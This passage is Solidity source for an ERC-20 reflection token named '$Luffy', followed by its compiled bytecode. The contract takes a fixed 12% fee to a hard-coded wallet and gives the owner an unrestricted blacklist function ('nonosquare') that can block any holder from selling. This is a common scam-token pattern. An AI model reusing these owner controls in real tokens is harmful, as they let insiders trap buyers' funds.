internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LuffyJoyBoy is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "$Luffy"; string private constant _symbol = "$Luffy"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x22a0f5f8d84F98Eda8319236D811ee13D0C1FEcE); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 12; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 12; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000 * 10**9; _maxWalletSize = 2000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612713565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127dd565b6104b4565b60405161018e9190612838565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612862565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c5565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a0e565b61060c565b60405161021f9190612838565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a61565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aaa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612af1565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b1e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a61565b6109db565b6040516103199190612862565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b5a565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612713565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127dd565b610c9a565b6040516103da9190612838565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b1e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b75565b611328565b60405161046e9190612862565b60405180910390f35b60606040518060400160405280600681526020017f244c756666790000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113af565b84846113b7565b6001905092915050565b600067016345785d8a0000905090565b6104ea6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c01565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c21565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c7f565b91505061057a565b5050565b6000610619848484611580565b6106da846106256113af565b6106d5856040518060600160405280602881526020016136b660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c119092919063ffffffff16565b6113b7565b600190509392505050565b6106ed6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c01565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c01565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c01565b60405180910390fd5b6000811161093257600080fd5b61096060646109528367016345785d8a0000611c7590919063ffffffff16565b611cef90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113af565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d39565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da5565b9050919050565b610a346113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c01565b60405180910390fd5b67016345785d8a0000600f8190555067016345785d8a0000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f244c756666790000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113af565b8484611580565b6001905092915050565b610cc06113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c01565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a8367016345785d8a0000611c7590919063ffffffff16565b611cef90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113af565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e13565b50565b610e136113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c01565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d13565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a00006113b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d48565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d48565b6040518363ffffffff1660e01b8152600401611096929190612d75565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d48565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de3565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e59565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff02191690831515021790555066038d7ea4c68000600f8190555066071afd498d00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612eac565b6020604051808303816000875af1158015611300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113249190612eea565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c9061301b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115739190612862565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e6906130ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116559061313f565b60405180910390fd5b600081116116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906131d1565b60405180910390fd5b6000600a81905550600c600b819055506116b9610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172757506116f7610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117d957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118845750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118da5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f25750600e60179054906101000a900460ff165b15611a3057600f5481111561193c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119339061323d565b60405180910390fd5b60105481611949846109db565b611953919061325d565b1115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b906132ff565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119df57600080fd5b601e426119ec919061325d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611adb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b47576000600a81905550600c600b819055505b6000611b52306109db565b9050600e60159054906101000a900460ff16158015611bbf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd75750600e60169054906101000a900460ff165b15611bff57611be581611e13565b60004790506000811115611bfd57611bfc47611d39565b5b505b505b611c0c83838361208c565b505050565b6000838311158290611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509190612713565b60405180910390fd5b5060008385611c68919061331f565b9050809150509392505050565b6000808303611c875760009050611ce9565b60008284611c959190613353565b9050828482611ca491906133dc565b14611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb9061347f565b60405180910390fd5b809150505b92915050565b6000611d3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209c565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da1573d6000803e3d6000fd5b5050565b6000600854821115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de390613511565b60405180910390fd5b6000611df66120ff565b9050611e0b8184611cef90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4b57611e4a612882565b5b604051908082528060200260200182016040528015611e795781602001602082028036833780820191505090505b5090503081600081518110611e9157611e90612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5c9190612d48565b81600181518110611f7057611f6f612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b7565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203b9594939291906135ef565b600060405180830381600087803b15801561205557600080fd5b505af1158015612069573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209783838361212a565b505050565b600080831182906120e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120da9190612713565b60405180910390fd5b50600083856120f291906133dc565b9050809150509392505050565b600080600061210c6122f5565b915091506121238183611cef90919063ffffffff16565b9250505090565b60008060008060008061213c87612354565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612464565b6122858483612521565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612862565b60405180910390a3505050505050505050565b60008060006008549050600067016345785d8a0000905061232967016345785d8a0000600854611cef90919063ffffffff16565b8210156123475760085467016345785d8a0000935093505050612350565b81819350935050505b9091565b60008060008060008060008060006123718a600a54600b5461255b565b92509250925060006123816120ff565b905060008060006123948e8787876125f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c11565b905092915050565b6000808284612415919061325d565b90508381101561245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190613695565b60405180910390fd5b8091505092915050565b600061246e6120ff565b905060006124858284611c7590919063ffffffff16565b90506124d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612536826008546123bc90919063ffffffff16565b6008819055506125518160095461240690919063ffffffff16565b6009819055505050565b6000806000806125876064612579888a611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125b160646125a3888b611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125da826125cc858c6123bc90919063ffffffff16565b6123bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260a8589611c7590919063ffffffff16565b905060006126218689611c7590919063ffffffff16565b905060006126388789611c7590919063ffffffff16565b905060006126618261265385876123bc90919063ffffffff16565b6123bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b4578082015181840152602081019050612699565b838111156126c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e58261267a565b6126ef8185612685565b93506126ff818560208601612696565b612708816126c9565b840191505092915050565b6000602082019050818103600083015261272d81846126da565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277482612749565b9050919050565b61278481612769565b811461278f57600080fd5b50565b6000813590506127a18161277b565b92915050565b6000819050919050565b6127ba816127a7565b81146127c557600080fd5b50565b6000813590506127d7816127b1565b92915050565b600080604083850312156127f4576127f361273f565b5b600061280285828601612792565b9250506020612813858286016127c8565b9150509250929050565b60008115159050919050565b6128328161281d565b82525050565b600060208201905061284d6000830184612829565b92915050565b61285c816127a7565b82525050565b60006020820190506128776000830184612853565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ba826126c9565b810181811067ffffffffffffffff821117156128d9576128d8612882565b5b80604052505050565b60006128ec612735565b90506128f882826128b1565b919050565b600067ffffffffffffffff82111561291857612917612882565b5b602082029050602081019050919050565b600080fd5b600061294161293c846128fd565b6128e2565b9050808382526020820190506020840283018581111561296457612963612929565b5b835b8181101561298d57806129798882612792565b845260208401935050602081019050612966565b5050509392505050565b600082601f8301126129ac576129ab61287d565b5b81356129bc84826020860161292e565b91505092915050565b6000602082840312156129db576129da61273f565b5b600082013567ffffffffffffffff8111156129f9576129f8612744565b5b612a0584828501612997565b91505092915050565b600080600060608486031215612a2757612a2661273f565b5b6000612a3586828701612792565b9350506020612a4686828701612792565b9250506040612a57868287016127c8565b9150509250925092565b600060208284031215612a7757612a7661273f565b5b6000612a8584828501612792565b91505092915050565b600060ff82169050919050565b612aa481612a8e565b82525050565b6000602082019050612abf6000830184612a9b565b92915050565b612ace8161281d565b8114612ad957600080fd5b50565b600081359050612aeb81612ac5565b92915050565b600060208284031215612b0757612b0661273f565b5b6000612b1584828501612adc565b91505092915050565b600060208284031215612b3457612b3361273f565b5b6000612b42848285016127c8565b91505092915050565b612b5481612769565b82525050565b6000602082019050612b6f6000830184612b4b565b92915050565b60008060408385031215612b8c57612b8b61273f565b5b6000612b9a85828601612792565b9250506020612bab85828601612792565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612beb602083612685565b9150612bf682612bb5565b602082019050919050565b60006020820190508181036000830152612c1a81612bde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8a826127a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbc57612cbb612c50565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b